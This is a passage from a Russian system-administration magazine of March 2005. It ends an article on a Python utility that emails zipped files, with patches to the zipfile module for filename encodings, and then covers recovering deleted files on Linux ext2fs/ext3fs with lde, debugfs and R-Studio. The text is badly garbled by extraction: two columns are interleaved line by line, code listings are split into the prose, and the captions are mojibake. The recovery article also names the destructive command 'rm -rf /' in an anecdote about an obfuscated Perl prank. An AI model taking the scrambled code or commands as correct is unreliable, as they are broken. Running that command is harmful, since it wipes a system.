def readline(self): в виду, когда выше говорил о небольшой модификации
str = self.origin.readline()
return unicode(str, ↵ myzip. Итак, в zipfrusw.py вносим следующие изменения. В
termcodepage).encode(basecodepage) исходную функцию close():
def setmystdin(self):
self.origin, sys.stdin = sys.stdin, self Ëèñòèíã 8. Èçìåíåíèÿ â ìîäóëå zipfile: close

def setorigin(self): def close(self):


sys.stdin = self.origin """Close the file, and for mode "w" and "a" write
the ending records."""
.. .. .. .. .. ..
# Êëàññ ïåðåîïðåäåëåíèÿ ïîòîêà âûâîäà self.fp.write(centdir)
classmystdout: # self.fp.write(zinfo.filename)
def write(self, str): try:
self.setorigin() fn4zip = unicode(zinfo.filename,

34
администрирование
pymaconf.termcodepage).encode('cp866') ственно из командной строки менеджера FAR. Благодаря
self.fp.write(fn4zip) использованию функции glob.glob() для формирования спис-
except:
self.fp.write(zinfo.filename) ка файлов мы получили возможность задавать в парамет-
self.fp.write(zinfo.extra) ре files и шаблоны. Например, так мы отправим все файлы,
.. .. .. .. .. ..
имеющие расширение «py»:
Синим выделены добавленные строки, зеленым – ис-
ключенная. То есть здесь мы преобразуем имя файла в нуж- sendtome files *.py as pyma
ную кодировку перед тем, как оно будет записано в файл
архива. Для перекодировки используем функцию Unicode(), Утилита получилась достаточно гибкой – можно указать
которая формирует строку в кодировке UTF, с последую- несколько файлов для отправки (или несколько шаблонов),
щим вызовом функции encode(), которая преобразует задавать имя формируемого архива (по умолчанию исполь-
Unicode-строку в указанную кодировку. зуется имя первого файла или «archive.zip», если первым
Чтобы модуль умел читать собственные творения, по- задан шаблон), отказаться от упаковки и передать файлы
требуются изменения в функцию getinfo(): как есть. «Адресная книга» несколько упрощает ввод ад-
ресов электронной почты, позволяя указывать псевдони-
Ëèñòèíã 9. Èçìåíåíèÿ â ìîäóëå zipfile: getinfo мы для тех адресов, которые вы наиболее часто использу-
def getinfo(self, name): ете. Чтобы не усложнять командную строку, тема и сопро-
"""Return the instance of ZipInfo given 'name'.""" водительный текст сообщения запрашиваются интерактив-
try:
name = unicode(name, ↵ но. При желании такое поведение можно отключить, уста-
'cp866').encode(pymaconf.termcodepage) новив соответствующие переменные в pymaconf.py в ноль.
except:
pass Из недостатков можно указать малоинформативный
return self.NameToInfo[name] вывод сообщений об ошибках, не совсем точное следова-
ние стандартам, несколько громоздкий и неудобный для
и в _RealGetContents(): непосредственного просмотра формат лог-файла. Также в
данной версии не предусмотрена одновременная отправка
Ëèñòèíã 10. Èçìåíåíèÿ â ìîäóëå zipfile: _RealGetContents сразу на несколько адресов. В тело письма сейчас можно
def _RealGetContents(self): поместить только одну строку, поскольку нажатие клави-
"""Read in the table of contents ши Enter прекратит ввод. Однако, как и раньше, исходный
for the ZIP file."""
.. .. .. .. .. .. код всегда доступен, и любой недостаток при наличии вре-
if self.debug > 2: мени и желания можно легко превратить в достоинство.
print centdir
filename = fp.read(centdir[_CD_FILENAME_LENGTH]) Кстати, эта утилита замечательно работает и в FreeBSD.
filename = unicode(filename, ↵ Нужно только подправить переменные в конфигурацион-
'cp866').encode(pymaconf.termcodepage)
ном файле, отвечающие за кодировку, и вместо создания
# Create ZipInfo instance to store bat-файла просто переименовать send.py в send, снабдив
# file information
x = ZipInfo(filename) его «магической» строчкой:
.. .. .. .. .. ..
#!/usr/local/bin/python
Теперь упакованные файлы сохраняют свои первона-
чальные имена при извлечении из архива, хотя должен при- Ну и не забыть сделать этот файл исполняемым и дос-
знать, что всесторонние исследования я не проводил и не тупным для поиска по переменной окружения PATH. На моем
могу гарантировать, что подобный «хакинг» останется без сервере, где используется koi8-r, строки файла конфигура-
последствий при другом использовании модуля. Я хотел ции, отвечающие за кодировки, выглядят таким образом:
лишь показать, что при желании исходные тексты стандар-
тных модулей всегда можно подогнать под свои нужды. Ëèñòèíã 11. Èçìåíåíèÿ â pymaconf.py äëÿ FreeBSD
Еще осталось сделать так, чтобы нашу утилиту можно basecodepage = 'cp1251'
было вызывать как «send», а не как «send.py». Для этого termcodepage = 'koi8-r'
mailcodepage = 'cp1251'
создадим bat-файл send.bat: fzipcodepage = 'cp1251'
fsyscodepage = 'koi8-r'
\myprogs\python\python \myprogs\utils\pyma\send.py %1 ↵
%2 %3 %4 %5 %6 %7 %8 %9
Кодировку сообщений в исходных текстах можно оста-
К сожалению, в нем мы вынуждены использовать пол- вить как есть (параметр basecodepage), единственное, в
ные пути к файлам, что потребует редактирования каждый этом случае имена упаковываемых файлов в диагностичес-
раз, когда нужно будет перенести утилиту в другое место. ких сообщениях будут нечитаемыми. Исправить это можно
Кроме того, сценарию send.py в данном примере может быть введением нескольких дополнительных перекодировок, но
передано только 9 параметров, что налагает ограничения их уже и без того достаточно.
на количество отправляемых за один раз файлов. Но зато На других платформах работоспособность утилиты не
командная строка стала выглядеть так, как нам хочется. проверялась, однако причин для проблем вроде бы ника-
Итак, мы получили небольшую утилиту, которая позво- ких нет, и если вашей системой поддерживается Python, то
ляет отправлять файлы по электронной почте непосред- должен работать и рассмотренный код.

№3, март 2005 35


администрирование

ВОССТАНОВЛЕНИЕ УДАЛЕННЫХ ФАЙЛОВ


ПОД LINUX
Каждый из нас хотя бы однажды удалял ценный
файл, а то и весь корневой каталог целиком!
Резервной копии нет. Времени на поиски утилит
для восстановления – тоже. Как быть?
К счастью, все необходимое уже включено
в ваш любимый дистрибутив и всегда находится
под рукой. Если говорить кратко: debugfs, lsdel,
stat, cat, dump, undel. Если чуть подробнее –
читайте эту статью, рассказывающую
о восстановлении данных на ext2fs и отчасти
ext3fs-разделах.

КРИС КАСПЕРСКИ
Информации по восстановлению данных под Linux практи- реально. Однако если пользователь был зарегистрирован в
чески нет. Как будто у пользователей этой ОС данные не системе не как root, жертвами неосторожного эксперимента
исчезают. Исчезают, еще как! Ошибочное удаление файлов – оказывались «всего лишь» файлы из его домашнего ката-
достаточно распространенное явление, наверное, даже бо- лога. Поэтому в данной статье речь пойдет только о восста-
лее частое, чем в мире Microsoft. Под Windows большин- новлении отдельных, наиболее ценных файлов.
ство файловых операций осуществляется вручную с помо- Перефразируя Булгакова, можно сказать: мало того, что
щью «Проводника» или других интерактивных средств типа файл смертен, так он еще и внезапно смертен! Беда никог-
FAR. Интерактивные среды есть и в Linux (KDE, GNOME, да не предупреждает о своем приходе, и администратору
Midnight Commander), но есть там и поклонники командной приходится быть постоянно начеку. Несколько секунд на-
строки, а командная строка – это регулярные выражения и зад все было хорошо: цвела весна, винчестер оживленно
скрипты, то есть автоматизированные средства управле- стрекотал всеми своими головками, администратор отхле-
ния – мощные, удобные, и… разрушительные. Малейшая бывал кофе из черной кружки с надписью root, раздумы-
небрежность их проектирования и… прощай, мои файлы! вая: то ли поиграть в DOOM, то ли поболтать с секретар-
Помнится, год-два назад по сети распространялся «Албанс- шей, как вдруг… бабах! Сотни гигабайт ценнейших данных
кий вирус». То тут, то там на форумах появлялись сообще- разлетелись на мелкие осколки. Все силы брошены на раз-
ния с просьбой объяснить, что делает очень запутанный код гребания завалов и спасения всех, кого еще можно спасти.
на Perl. Задетые за живое гуру, поленившись вникнуть в его
суть, просто запускали непонятную программу на выполне- Инструментарий
ние... и напрасно! Посредством нетривиальных подстановок Программ, пригодных для восстановления данных, под Linux
строковая конструкция разворачивалась в «rm -rf /»! Восста- совсем немного, намного меньше, чем под Windows NT, да
новить весь корневой каталог под ext2fs, а тем более ext3fs и тем до совершенства как до Луны. Но ведь не разрабаты-
очень и очень сложно. Можно даже сказать, практически не- вать же весь необходимый инструментарий самостоятель-

36
администрирование
но?! Будем использовать то, что дают, утешая себя мыс- удобно (привычный интерфейс и все такое), с другой – ни
лью, что нашим предкам, работающим на динозаврах ма- Disk Editor, ни NT Explorer не поддерживают ext2fs/ext3fs, и
шинной эры, приходилось намного сложнее. все структуры данных приходится декодировать вручную.

Редактор диска hex-редакторы


Под Linux диски чаще всего редактируются при помощи lde UNIX – это вам не Windows! Без дисковых редакторов здесь
(расшифровывается как Linux Disk Editor). Это, конечно, не в принципе можно и обойтись. Берем любой hex-редактор,
Norton Disk Editor, но и не Microsoft Disk Probe. Профессио- открываем соответствующее дисковое устройство (напри-
нально-ориентированный инструмент консольного типа с мер, /dev/sdb1) и редактируем его в свое удовольствие. Кра-
разумным набором функциональных возможностей. Пони- сота! Старожилы, должно быть, помнят, как во времена пер-
мает ext2fs, minix, xiafs и отчасти FAT (в перспективе обе- вой молодости MS-DOS, когда ни HIEW, ни QVIEW еще не
щана поддержка NTFS, которая на Linux никому не нужна, существовало, правка исполняемых файлов на предмет «от-
а вот отсутствие в этом списке UFS и FFS очень огорчает). лома» ненужного 7xh обычно осуществлялось DiskEdit, т.е.
Поддерживает: отображение/редактирование содержи- дисковый редактор использовался как hex. А в UNIX, на-
мого в HEX-формате, просмотр суперблока (super-block), оборот, hex-редакторы используются для редактирования
файловых записей (inode) и директорий в удобочитаемом диска.
виде; контекстный поиск, поиск файловых записей, ссыла- Какой редактор выбрать? В общем-то, это дело вкуса
ющихся на данный блок (полезная штука, только, к сожа- (причем не только вашего, но еще и составителя дистрибу-
лению, реализованная кое-как и срабатывающая не всегда), тива). Одни предпочитают консольный hexedit, другие тяго-
режим восстановления с ручным редактированием списка теют к графическому khededit, а третьи выбирают BIEW (уре-
прямых/косвенных блоков, сброс дампа на диск и некото- занная калька со всем известного HIEW).
рые другие второстепенные операции.
Может работать как в пакетном, так и в интерактивном
режимах. В пакетном режиме все управление осуществля-
ется посредством командной строки, что позволяет полно-
стью или частично автоматизировать некоторые рутинные
операции.
Распространяется в исходных текстах по лицензии GPL
(http://lde.sourceforge.net), денег не требует, работает прак-
тически под любой UNIX-совместимой операционной сис-
темой (включая FreeBSD) и входит во все «правильные»
дистрибутивы (например, в Knoppix).

Ðèñóíîê 2. Âíåøíèé âèä ðåäàêòîðà hexedit

Ðèñóíîê 1. Äèñêîâûé ðåäàêòîð LDE (Linux Disk Editor)


Работа с lde на первых порах производит довольно стран-
ное впечатление: чувствуешь себя неандертальцем, пересев-
шим с IBM PC на УКНЦ/ZX Spectrum и добывающим огонь
трением. Впрочем, со временем это проходит (программист,
как известно, существо неприхотливое и ко всему привыка-
ющее). Как вариант можно загрузиться со «спасательной дис- Ðèñóíîê 3. Âíåøíèé âèä ðåäàêòîðà khexedit
кеты» и использовать знакомый Norton Disk Editor или
Runtime NT Explorer, запущенный из-под Windows PE (вер- Отладчики файловой системы
сия Windows NT, запускающаяся с CD-ROM без предвари- Отладчиками файловой системы называют утилиты, даю-
тельной установки на жесткий диск). С одной стороны, это щие доступ к «святая святых» файловой системы и позво-

№3, март 2005 37


администрирование
ляющие манипулировать ключевыми структурами данных нимает всего один диск, но содержит практически все: от
по своему усмотрению. дисковых утилит и компиляторов до офисных пакетов и
Чем они отличаются от простых редакторов? Редактор мультимедийных приложений1. Очень шустро работает, тре-
работает на более низком уровне – уровне блоков или сек- бует от 128 Мб оперативной памяти (если меньше – будет
торов. Он в принципе может представлять некоторые струк- вести свопинг на диск). В 2004 году издательство O’Reilly
туры в наглядном виде, однако в их «физический» смысл выпустило шикарную книгу «KNOPPIX Hacks», содержащую
никак не вникает. главы, посвященные технике восстановления данных.
Отладчик файловой системы работает через драйвер, Frenzy 0.3 – дистрибутив, основанный на FreeBSD с не-
и потому испортить раздел с его помощью намного слож- большим количеством дисковых утилит, ориентированных
нее. Он реализует довольно высокоуровневые операции, на ext2fs, в то время как основной файловой системой са-
такие как установка/снятие флага занятости блока, созда- мой BSD является USF/FFS и ext2fs она поддерживает по-
ние новой символьной ссылки и т. д. А вот «посекторного» стольку-поскольку2. Тем не менее для восстановительных
hex-редактора отладчики файловой системы обычно не со- работ данный диск вполне пригоден, и всем поклонникам
держат, поэтому обе категории программ взаимно допол- BSD его можно смело рекомендовать.
няют друг друга. SuSE 9.2 – по классификации, предложенной Винни-Пу-
Большинство дистрибутивов Linux (если не все из них) хом, это неправильный дистрибутив. Занимает два диска
включают в себя отладчик debugfs, поддерживающий ext2fs (один с KDE, другой с GNOME). Требует не менее 256 Мб
и отчасти ext3fs. оперативной памяти (правда, KDE-версия запускается и при
220 Мб). Очень медленно работает и не содержит ничего,
кроме щепотки офисных программ.

Подготовка к восстановлению
Прежде чем приступать к восстановлению, обязательно раз-
монтируйте дисковый раздел или на худой конец перемон-
тируйте его в режим «только на чтение». Лечение актив-
ных разделов зачастую только увеличивает масштабы раз-
рушения. Если восстанавливаемые файлы находятся на ос-
новном системном разделе, у нас два пути – загрузиться с
LiveCD или подключить восстанавливаемый жесткий диск
на Linux-машину вторым.
Чтобы чего-нибудь не испортить, никогда не редакти-
руйте диск напрямую. Работайте с его копией, которую мож-
но создать командой:

Ðèñóíîê 4. Debugfs çà ðàáîòîé cp /dev/sdb1 my_dump

Дисковые доктора где sdb1 – имя устройства, а my_dump – имя файла-дампа


В мире UNIX проверка целостности файловой системы обыч- или использовать dd (некоторым так привычнее). Файл-
но осуществляется программой fsck (аналог chkdsk под дамп можно разместить на любом свободном разделе или
Windows NT), представляющей собой консольную утилиту, перегнать на другую машину по сети. Все дисковые утили-
практически лишенную пользовательского интерфейса и ты (lde, debugsf, fschk) не заметят подвоха и будут работать
входящую в штатный комплект поставки любого дистрибу- с ним, как с «настоящим» разделом.
тива. Как и любое другое полностью автоматизированное При необходимости его даже можно смонтировать на
средство, она не только лечит, но случается, что и калечит, файловую систему:
так что пользоваться ей следует с очень большой осторож-
ностью. mount my_dump mount_point -o loop

LiveCD чтобы убедиться, что восстановление прошло успешно.


За последние несколько лет появилось множество дистри- Команда:
бутивов Linux, загружающихся прямо с CD-ROM и не тре-
бующих установки на винчестер. Очень удобная штука для cp my_dump /dev/sdb1
восстановления данных. Однако далеко не все дистрибу-
тивы для этого пригодны. копирует восстановленный файл-дамп обратно в раздел, хотя
Knoppix 3.7 – самый лучший дистрибутив из всех, что делать это совсем необязательно. Проще (и безопаснее)
мне доводилось видеть. Основан на Debian GNU/Linux. За- копировать только восстанавливаемые файлы.

1
Обзор дистрибутива Knoppix смотрите на стр. 4-6. (Прим. ред.)
2
Обзор дистрибутива Frenzy – в статьях Александра Байрака «Безумный чертёнок», №1, 2004 г. и «Frenzy: FreeBSD в кармане сисадмина»
Сергея Можайского в №2, 2004 г.

38
администрирование
Восстановление удаленных файлов Ëèñòèíã 2. Ôîðìàò ïðåäñòàâëåíèÿ inode
на ext2fs
Ext2fs все еще остается базовой файловой системой для
многих Linux, поэтому рассмотрим ее первой. Концепции,
которые она исповедует, во многом схожи с NTFS, так что
культурного шока при переходе с NTFS на ext2fs с нами не
случится.
Подробное описание структуры хранения данных ищите
в документе «Design and Implementation of the Second
Extended Filesystem», а также книге Э. Таненбаума «Operating
Systems: Design and Implementation» и статье В. Мешкова
«Архитектура файловой системы ext2», опубликованной в
журнале «Системный администратор», №11, 2003 г. Исход-
ные тексты дисковых утилит (драйвер файловой системы, Первые 12 блоков, занимаемых файлом, хранятся не-
lde, debugfs) также не помешают. посредственно в самом inode в массиве DIRECT BLOCKS
(непосредственные блоки для наглядности выделены по-
Структура файловой системы лужирным шрифтом). Каждый элемент массива представ-
В начале диска расположен boot-сектор (на незагрузочных ляет собой 32-битный номер блока. При среднем значении
разделах он может быть пустым). За ним по смещению BLOCK_SIZE в 4 Кб DIRECT BLOCK могут адресовать до
1024 байта от начала первого сектора лежит суперблок 4 * 12 = 48 Кб данных. Если файл превышает этот размер,
(super-block), содержащий ключевую информацию о струк- создаются один или несколько блоков косвенной адресации
туре файловой системы. (В FAT и NTFS эта информация (INDIRECT BLOCK). Первый блок косвенной адресации
хранится непосредственно в boot). (1x INDIRECT BLOCK или просто INDIRECT BLOCK) хранит
В первую очередь нас будет интересовать 32-разрядное ссылки на другие непосредственные блоки. Адрес этого бло-
поле s_log_block_size, расположенное по смещению 18h байт ка хранится в поле i_indirect_block в inod. Как легко посчи-
от начала супер-блока. Здесь хранится размер одного блока тать, он адресует порядка BLOCK_SIZE/sizeof(DWORD) *
(block), или в терминологии MS-DOS/Windows кластера, вы- BLOCK_SIZE = 4096/4 *4 Мб данных. Если этого вдруг ока-
раженный в виде показателя позиции, на которую нужно жется недостаточно, создается дважды косвенный блок
сдвинуть число 200h. В естественных единицах это будет (2x INDIRECT BLOCK или DOUBLE INDIRECT BLOCK), хра-
звучать так: block_size = 200h << s_log_block_size (байт). То нящий указатели на косвенные блоки, что позволяет адре-
есть если s_log_block_size равен нулю, размер одного бло- совать (BLOCK_SIZE/sizeof(DWORD))**2* BLOCK_SIZE =
ка составляет 400h байт или два стандартных сектора. 4096/4 ** 4096 = 4 Гб данных. Если же этого все равно недо-
статочно, создается трижды косвенный блок (3x INDIRECT
Ëèñòèíã 1. Ñòðóêòóðà äèñêîâîãî òîìà, ðàçìå÷åííîãî ïîä ext2fs BLOCK или TRIPLE INDIRECT BLOCK), содержащий ссыл-
ки на дважды косвенные блоки (на данном рисунке трижды
косвенный блок не показан).
Отметим, что по сравнению с NTFS такая схема хране-
ния информации о размещении гораздо проще устроена,
но вместе с тем и прожорлива. Однако она обладает одним
несомненным достоинством, которое оставляет NTFS да-
леко позади. Поскольку все ссылки хранятся в неупакован-
ном виде, для каждого блока файла мы можем быстро най-
ти соответствующий ему косвенный блок, даже если inode
полностью разрушен.

Вслед за суперблоком идут дескрипторы групп (group


descriptors) и карты свободного пространства, в просторе-
чии – битмапы (block bitmap/inode bitmap), которые нас мало
интересуют, а вот inode-таблицу, расположенную за ними,
мы рассмотрим поподробнее.
В ext2fs (как и многих других файловых системах из мира
UNIX) inode играет ту же самую роль, что и FILE Record в
NTFS. Здесь сосредоточена вся информация о файле: тип
файла (обычный файл, директория, символическая ссыл-
ка и т. д.), логический и физический размер, схема разме-
щения на диске, время создания, модификации, последне-
го доступа и удаления, правда доступа и количество ссы-
Ðèñóíîê 5. Îïèñàíèå ïîðÿäêà ðàçìåùåíèÿ ôàéëà íà äèñêå,
лок на файл. èåðàðõèÿ íåïîñðåäñòâåííûõ è êîñâåííûõ áëîêîâ

№3, март 2005 39


администрирование
Имя файла в inode не хранится. Ищите его внутри дирек- тически определяет тип файловой системы (в данном слу-
торий, представляющих собой массив записей следующего чае ext2fs) и предлагает нажать «any key» для продолже-
вида: ния. Нажимаем! Редактор переключается в режим отобра-
жения суперблока и предлагает нажать <I> для перехода в
Ëèñòèíã 3. Ôîðìàò ïðåäñòàâëåíèÿ ìàññèâà äèðåêòîðèé режим inode и <B> для перехода в блочный режим (block-
mode). Жмем <I> и оказываемся в первом inode, описыва-
ющем корневой каталог. <Page Down> перемещает нас к
следующему inode, а <Page Up> – к предыдущему. Пролис-
тываем inode вниз, обращая внимание на поле LINKS. У
удаленных файлов оно равно нулю, и тогда «DELETION
TIME» содержит время последнего удаления (мы ведь по-
При удалении файла операционная система находит со- мним его, правда?).
ответствующую запись в директории. Обнуляет поле inode и Обнаружив подходящий inode, перемещаем курсор к
увеличивает размер предшествующей записи (поле rec_len) первому блоку в списке DIRECT BLOCKS (где он должен
на величину удаляемой. То есть предшествующая запись находиться по умолчанию) и нажимаем <F2>. В появившем-
как бы «поглощает» удаленную. И хотя имя файла до поры ся меню выбираем пункт «Block mode, viewing block under
до времени остается нетронутым, ссылка на соответствую- cursor» (или сразу нажимаем горячую клавишу <Shift-B>).
щий ему inode оказывается уничтоженной. Вот и попробуй Редактор перемещается на первый блок удаленного фай-
разобраться, какому файлу какое имя принадлежит! ла. Просматривая его содержимое в hex-режиме, пытаем-
В самом inode при удалении файла тоже происходят ся определить, он ли это или нет. Чтобы возвратиться к про-
большие изменения. Количество ссылок (i_links_count) сбра- смотру следующего inode, нажимаем <I>, чтобы восстано-
сывается в нуль и обновляется поле последнего удаления вить файл – <Shift-R>, затем еще раз <R> и имя файла-
(i_dtime). Все блоки, принадлежащие файлу, в карте сво- дампа для восстановления.
бодного пространства (block bitmap) помечаются как неис- Можно восстанавливать файлы и по их содержимому.
пользуемые, после чего данный inode также освобождает- Допустим, нам известно, что удаленный файл содержит
ся (в inode bitmap). строку «hello, world». Нажимаем <f> и затем <A> (Search all
block). Этим мы заставляем редактор искать ссылки на все
Техника восстановления удаленных файлов блоки, в том числе и удаленные. Как вариант можно запус-
В ext2fs полное восстановление даже только что удален- тить редактор с ключом «--all». Но так или иначе мы нажи-
ных файлов невозможно. В этом смысле она проигрывает маем <B>, затем, когда редактор перейдет в block-mode, –
как FAT, так и NTFS. Как минимум теряется имя файла. </> и вводим ASCII-строку для поиска. Находим нужный
Точнее говоря, теряется связь имен файлов с их содержи- блок. Прокручивая его вверх-вниз, убеждаемся, что он дей-
мым. При удалении небольшого количества хорошо извес- ствительно принадлежит тому самому файлу. Если это так,
тных файлов это еще терпимо (имена-то ведь сохранились!), нажимаем <Ctrl>+<R>, заставляя редактор просматривать
но что делать, если вы удалили несколько служебных под- все inode, содержащие ссылку на этот блок. Номер теку-
каталогов, в которых никогда ранее не заглядывали? щего найденного inode отображается внизу экрана. (Имен-
Достаточно часто inode назначаются в том же порядке, но внизу! Вверху отображается номер последнего просмот-
в котором создаются записи в таблице директорий, к тому ренного inode в режиме inode). Переходим в режим inode
же существует такая штука, как «расширения» (.c, .gz, .mpg по клавише <I>, нажимаем <#> и вводим номер inode, кото-
и т. д.), так количество возможных комбинаций соответ- рый хотим просмотреть. Если дата удаления более или ме-
ствий имен файлов и inode чаще всего бывает относитель- нее соответствует действительности, нажимаем <Shift-R>/
но небольшим. Тем не менее восстановить удаленный кор- <R> для сброса файла на диск. Если нет – возвращаемся в
невой каталог в автоматическом режиме никому не удаст- block-mode и продолжаем поиск.
ся, а вот NTFS с этим справляется без труда. В сложных случаях, когда список прямых и/или косвен-
В общем, стратегия восстановления выглядит прибли- ных блоков разрушен, восстанавливаемый файл приходит-
зительно так: сканируем таблицу inode и отбираем все за- ся собирать буквально по кусочкам, основываясь на его
писи, чье поле i_links_count равно нулю. Сортируем их по внутреннем содержимом и частично – на стратегии выде-
дате удаления, чтобы файлы, удаленные последними, ока- ления свободного пространства файловой системой. В этом
зались наверху списка. Как вариант можно просто нало- нам поможет клавиша <w> – дописать текущий блок к
жить фильтр (мы ведь помним примерное время удаления, файлу-дампу. Просто перебираем все свободные блоки
не правда ли?). Если соответствующие inode еще не затер- один за другим (редактор помечает их строкой NOT USED)
ты вновь создаваемыми файлами, извлекаем список пря- и, обнаружив подходящий, дописываем в файл. Конечно,
мых/косвенных блоков и записываем их в дамп, корректи- сильно фрагментированный двоичный файл так не восста-
руя его размер с учетом «логического» размера файла, за новить, но вот листинг программы можно вполне.
которое отвечает поле i_size. Вывод – ручное восстановление файлов с помощью lde
крайне непроизводительно и трудоемко, зато наиболее
Восстановление при помощи lde «прозрачно» и надежно.
Открываем редактируемый раздел или его файловую ко- А вот восстанавливать оригинальные имена лучше все-
пию: «lde my_dump» или «lde /dev/sdb1». Редактор автома- го при помощи debugfs.

40
администрирование
Восстановление при помощи debugfs Говорим отладчику «dump <INODE> dir_file», где INODE –
Загружаем в отладчик редактируемый раздел или его ко- номер сообщенного нам индексного дескриптора, dir_file –
пию, «debugfs my_dump» или «debugfs /dev/sdb1». Если мы имя файла на родной файловой системе, в которую будет
планируем осуществлять запись на диск, необходимо ука- записан дамп. Загружаем полученный дамп в hex-редак-
зать ключ «-w» («debugfs -w my_dump» или «debugfs -w /dev/ тор и просматриваем его содержимое в «сыром» виде. Все
sdb1». Чтобы просмотреть список удаленных файлов, даем имена будут там. При желании можно написать утилиту-
команду «lsdel» (или «lsdel t_sec», где t_sec – количество се- фильтр, выводящую только удаленные имена. На Perl это
кунд, прошедшее с момента удаления файла). Экран запол- не займет и десяти минут.
няется списком удаленных файлов. Естественно, без имен. А как быть, если материнская директория тоже постра-
Файлы, удаленные более чем t_sec секунд назад (если sec дала? Тогда она и будет помечена удаленной! Выводим
задан), в этот список не попадают. список удаленных inodе, отбираем из них директории, фор-
Команда «cat <N>» выводит содержимое текстового мируем перечень принадлежащих им блоков и записыва-
файла на терминал, где <N> – номер inode, заключенный в ем дамп в файл, просматриваемый вручную или с помо-
угловые кавычки. При выводе двоичных файлов на экране щью утилиты-фильтра. Как уже отмечалось, порядок рас-
творится черт знает что, и такие файлы должны сбрасы- положения файлов в списке inodе очень часто совпадает с
ваться в дамп командой «dump <N> new_file_name», где порядком расположения файлов в директории, поэтому
«new_file_name» – новое имя файла (с путем), под которым восстановление оригинальных имен в четырех из пяти слу-
он будет записан в родную (native) файловую систему, т.е. чаев проходит на ура.
ту файловую систему, на которой был запущен debugfs. При тяжких разрушениях, когда восстанавливаемый
Файловая система восстанавливаемого раздела при этом файл приходится собирать по кусочкам, помогает команда
остается неприкосновенной. Другими словами, наличие «dump_unused», выводящая на терминал все неиспользуе-
ключа «-w» для этого не требуется. мые блоки. Имеет смысл перенаправить вывод в файл, за-
При желании можно «реанимировать» файл непосред- пустить hexedit и покопаться в этой куче хлама – это, по
ственно на самой восстанавливаемой файловой системе (что крайней мере проще, чем лазить по всему диску (на дис-
особенно удобно при восстановлении больших файлов). ках, заполненных более чем на три четверти, данный трюк
В этом нам поможет команда «undel <N> undel_file_name», сокращает массу времени).
где undel_file_name – имя, которое будет присвоено файлу Вывод: debugfs в значительной мере автоматизирует
после восстановления. Внимание! Когда будете это делать, восстановление удаленных файлов (впрочем, до полного
помните, что команда undel крайне агрессивна и деструк- комфорта ему далеко), однако восстановить файл с разру-
тивна по своей природе. Она затирает первую свободную шенным inode он не способен и без lde здесь не обойтись.
запись в таблице директорий, делая восстановление ориги-
нальных имен невозможным! Восстановление при помощи R-Studio
Команда «stat <N>» отображает содержимое inode в Утилита R-Studio for NTFS, уже рассмотренная нами в пре-
удобочитаемом виде, а команда «mi <N>» позволяет редак- дыдущих номерах журнала, вопреки своему названию, под-
тировать их по своему усмотрению. Для ручного восстанов- держивает не только NTFS, но и ext2fs/ext3fs.
ления файла (которого не пожелаешь и врагу) мы должны
установить счетчик ссылок (link count) в единицу, а время
удаления (deletion time), наоборот, сбросить в нуль. Затем
отдать команду «seti <N>», помечающую данный inode как
используемый, и для каждого из блоков файла выполнить
«setb X», где X – номер блока (перечень блоков, занимае-
мых файлов, можно подсмотреть командой stat, причем в
отличие от lde она отображает не только непосредствен-
ные, но и косвенные блоки, что несравненно удобнее). Ос-
тается только дать файлу имя, что осуществляется путем
создания каталожной ссылки (directory link), а делает это
команда «ln <N> undel_file_name», где undel_file_name –
имя, которое будет дано файлу после восстановления, при
необходимости с путем. (Внимание! создание каталожных
ссылок необратимо затирает оригинальные имена удален-
ных файлов). После этого полезно дать команду «dirty»,
чтобы файловая система была автоматически проверена Ðèñóíîê 6. Óòèëèòà R-Studio for NTFS âîññòàíàâëèâàåò
при следующей загрузке, или выйти из отладчика и вруч- óäàëåííûå ôàéëû íà ext2fs ðàçäåëå. Ôàéëû åñòü, íî íåò èìåí
ную запустить fsck с ключом «-f», форсирующим проверку. С точки зрения неквалифицированных пользователей это
Теперь перейдем к восстановлению оригинального име- хорошее средство для автоматического восстановления
ни. Рассмотрим простейший случай, когда директория, со- удаленных файлов: интуитивно-понятный интерфейс, про-
держащая удаленный файл (также называемая материнс- стое управление и прочие прелести прогресса. Файлы вос-
кой директорией) все еще цела. Даем команду «stat dir_ станавливаются несколькими щелчками. Правда, без имен
name» и запоминаем номер inode, который нам сообщат. и без каких-либо гарантий, что они вообще восстановятся.

№3, март 2005 41


администрирование
Ручное восстановление не поддерживается. Файлы с раз- начинающих», а преимущества ext3fs на рабочих станциях
рушенным inode не восстанавливаются, хотя под ext2fs, в и домашних компьютерах далеко небесспорны и неочевид-
отличие от NTFS, это достаточно просто сделать! ны. Поддержка транзакций реально требуется лишь серве-
В общем, для профессионального использования R-Studio рам (да и то не всем), а вот невозможность восстановле-
категорически не подходит (рис. 6). ния ошибочно удаленных файлов зачастую приносит на-
много большие убытки, чем устойчивость файловой систе-
Восстановление удаленных файлов мы к внезапным отказам питания.
на ext3fs
Файловая система ext3fs – это ext2fs с поддержкой журна-
лирования (в терминологии NTFS – транзакций). В отличие
от ext2fs она намного бережнее относится к массиву ди-
ректорий и при удалении файла, ссылка на inode уже не
уничтожается, что упрощает автоматическое восстановле-
ние оригинальных имен. Однако поводов для радости у нас
нет никаких, поскольку в ext3fs перед удалением файла
список принадлежащих ему блоков тщательно вычищает-
ся. Как следствие – восстановление становится невозмож-
ным. Ну… практически невозможным. Нефрагментирован-
ные файлы с более или менее осмысленным содержимым
(например, исходные тексты программ) еще можно собрать
по частям, но и времени на это уйдет… К счастью, косвен-
ные блоки не очищаются, а значит, мы теряем лишь первые
12 * BLOCL_SIZE байт каждого файла. На типичном 10 Гб
разделе BLOCK_SIZE обычно равен 4 или 8 Кб, т.е. реаль- Ðèñóíîê 7. Óòèëèòà R-Studio, âîññòàíàâëèâàþùàÿ óäàëåííûå
ные потери составляют менее 100 Кб. По современным по- ôàéëû íà ðàçäåëå ext3fs. Åñòü èìåíà, íåò ñàìèõ ôàéëîâ
(èõ äëèíà ðàâíà íóëþ, ò.ê. ñïèñîê íåïîñðåäñòâåííûõ áëîêîâ
нятиям – сущие пустяки! Конечно, без этих 100 Кб боль- çàòåðò)
шинство файлов просто не запустятся, однако недостаю-
щие 12 блоков найти на диске вполне реально. Если пове- Заключение
зет, они окажутся расположенными в одном-двух непрерыв- Доступность исходных текстов драйвера файловой систе-
ных отрезках. Даже на сильно фрагментированных разде- мы значительно упрощает исследование ее внутренней
лах непрерывные отрезки из 6-12 блоков встречаются дос- структуры, которая, кстати говоря, очень проста и восста-
таточно часто. новление данных на ext2fs/ext3fs – обычное дело. Файло-
Как мы будем действовать? Необходимо найти хотя бы вые системы UFS и FFS, работающие под FreeBSD, устро-
один блок, гарантированно принадлежащий файлу и при ены намного сложнее, к тому же достаточно скудно доку-
